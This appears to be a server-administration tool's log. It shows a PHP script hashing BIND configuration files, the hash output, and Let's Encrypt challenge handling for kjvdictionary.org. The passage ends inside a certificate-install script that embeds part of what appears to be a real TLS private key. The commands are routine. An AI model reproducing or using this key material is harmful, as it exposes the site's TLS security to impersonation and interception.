MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-30 16:52:10: Establishing a connection
2026-03-30 16:52:10: 

PUT: /tmp/pkp830269

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-30 16:52:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp830269; rm /tmp/pkp830269'

2026-03-30 16:52:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-30 16:52:21: Establishing a connection
2026-03-30 16:52:22: Establishing a connection
2026-03-30 16:52:22: 

PUT: /tmp/pkp531634

#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-30 16:52:22: 

chmod 755 /tmp/pkp531634; /tmp/pkp531634; rm /tmp/pkp531634

2026-03-30 16:52:22: 


1


2026-03-30 16:52:23: Establishing a connection
2026-03-30 16:52:23: 

PUT: /tmp/pkp611376

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > 33XjnKPPhFLuHR38QXlyCEASVXLTlSP-VM8Oxj5CTf4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
33XjnKPPhFLuHR38QXlyCEASVXLTlSP-VM8Oxj5CTf4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 33XjnKPPhFLuHR38QXlyCEASVXLTlSP-VM8Oxj5CTf4
cat > J1xOfTLZ9AYrmkiO5h2q-gtBJeWn70nqCn4cXnFhmL4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
J1xOfTLZ9AYrmkiO5h2q-gtBJeWn70nqCn4cXnFhmL4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 J1xOfTLZ9AYrmkiO5h2q-gtBJeWn70nqCn4cXnFhmL4


2026-03-30 16:52:23: 

chmod 755 /tmp/pkp611376; /tmp/pkp611376; rm /tmp/pkp611376

2026-03-30 16:52:23: 




2026-03-30 16:52:34: Establishing a connection
2026-03-30 16:52:34: 

PUT: /tmp/pkp351099

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm 33XjnKPPhFLuHR38QXlyCEASVXLTlSP-VM8Oxj5CTf4
rm J1xOfTLZ9AYrmkiO5h2q-gtBJeWn70nqCn4cXnFhmL4


2026-03-30 16:52:34: 

chmod 755 /tmp/pkp351099; /tmp/pkp351099; rm /tmp/pkp351099

2026-03-30 16:52:34: 




2026-03-30 16:52:34: Establishing a connection
2026-03-30 16:52:34: 

PUT: /tmp/pkp102348

#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt

cat > $temp_file <<'endmsg'
14:2c:f0:61:cf:87:fc:87:44:f1:8a:2a:1f:18:52:7a

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBsMmQ8VhQ9uNWlR6AjdBymL+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzMwMTU1NDAzWhcNMjYwNjI4MTU1NDAyWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMris1oqD6Y+l8BCd01Qrzo+zkLMLR/LcKj8xywXKlcSsZxe1sji7UeYM1Y1
ywBEZTs5otPWkeHiuFRFRqK5DWjCflkMRC4zhS4OXqmtkUrlvQbE0Af5rZ9rmpHj
D6JwRXnvknfjpuQsYgxvgjfu2NqQOEwOM5Y+xzmtQGgGqgKgpg4VmTTBdXCb3fj0
kaYFXZhRU9RzcWHOvU+LiF4ZtEmSel27Co/1D7NnN273nkxi23wSAM8vTeNL+WFY
l+L1tk1FakndCO+1BnBsLoi5xQph3DDo6O086cDzjCZ3Go1n1x4wFQqJSZLCJIzj
hKkMZqQlhCgvDpil4QyuZxdizXsCAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0
TA8CUFBae74hbBFrWx/Zfv7UgDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWtqdmRpY3Rpb25hcnkub3JnghV3d3cua2p2
ZGljdGlvbmFyeS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjcuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AHUASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGdP6lOzgAABAMARjBEAiAICEsv1/DZ3r8K4W61As9aFSuoomDEkMFLC05CgQOm
ZAIgRAkXuaN/wWCDKb1UkWe8pff48SF+9q+aWGyKialfZhgAfgBxfpXzwjiKbbHj
hEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZ0/qU+OAAgAAAUADP8RtwQDAEcwRQIh
ANm23KJHPwUMolIcBSjuRndq8AzvpQtQYl9ts6Br4KC6AiAiUcAU25y1WCtQ4P+c
rNHv8IXUwXi6cKVJxtFJZ3YogjANBgkqhkiG9w0BAQsFAAOCAQEAMO1MNX1rmjam
c3YfxlMbQzi4JWAIuAkrequt5D7KOxZg+W2iDCncEFeipU+Boj895XEEPz9fvpul
7POihnZfTqdfsAvm0VEesciFHZ+4mSYsPJeKOf1lwhEVOOaqFB4sCcWOXFpdpcYL
rvcYIKryp4QDZTAOXahiWOrMLbnz6rqfJsxItEqJnAP4hFipN0PFg4oRlyR5m1D+
LPp1b37cThGWCzD5MUuPxjJ1cQlTZO+StRBUEiODzQ0JZanfLZi9XucMHImxM4/0
BHe7I9zHxpie1hHr+omy4YbEOwDqEJo+thGZu56wc4GaMg1goGGLNVkrrAg8ZHM0
2T/f06PEng==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDK4rNaKg+mPpfA
QndNUK86Ps5CzC0fy3Co/McsFypXErGcXtbI4u1HmDNWNcsARGU7OaLT1pHh4rhU
RUaiuQ1own5ZDEQuM4UuDl6prZFK5b0GxNAH+a2fa5qR4w+icEV575J346bkLGIM
b4I37tjakDhMDjOWPsc5rUBoBqoCoKYOFZk0wXVwm9349JGmBV2YUVPUc3Fhzr1P
i4heGbRJknpduwqP9Q+zZzdu955MYtt8EgDPL03jS/lhWJfi9bZNRWpJ3QjvtQZw
bC6IucUKYdww6OjtPOnA84wmdxqNZ9ceMBUKiUmSwiSM44SpDGakJYQoLw6YpeEM
rmcXYs17AgMBAAECggEAUD1zwJu0/8Nuog/HflEEVG1lhx6YVCRSRMtgfGwXB0Px
8c3CdcXmITQtTZHN3Sevv8ouP0jz/ln8G/wgERhOGNofPVmwF3Ox3wK45rOqLGyL
I4OwYQ8a31uf0MX0N4Lev3iEPZ1QMprpFlD9t+BjbKGwWkgdl/TxNzrxp5LHJ20s
ScIr97ru6aG5JBR3JR6HauFMcquEs6aHLxXYvCbIIq/U8VMY8V0Vk1pD9btyxsND
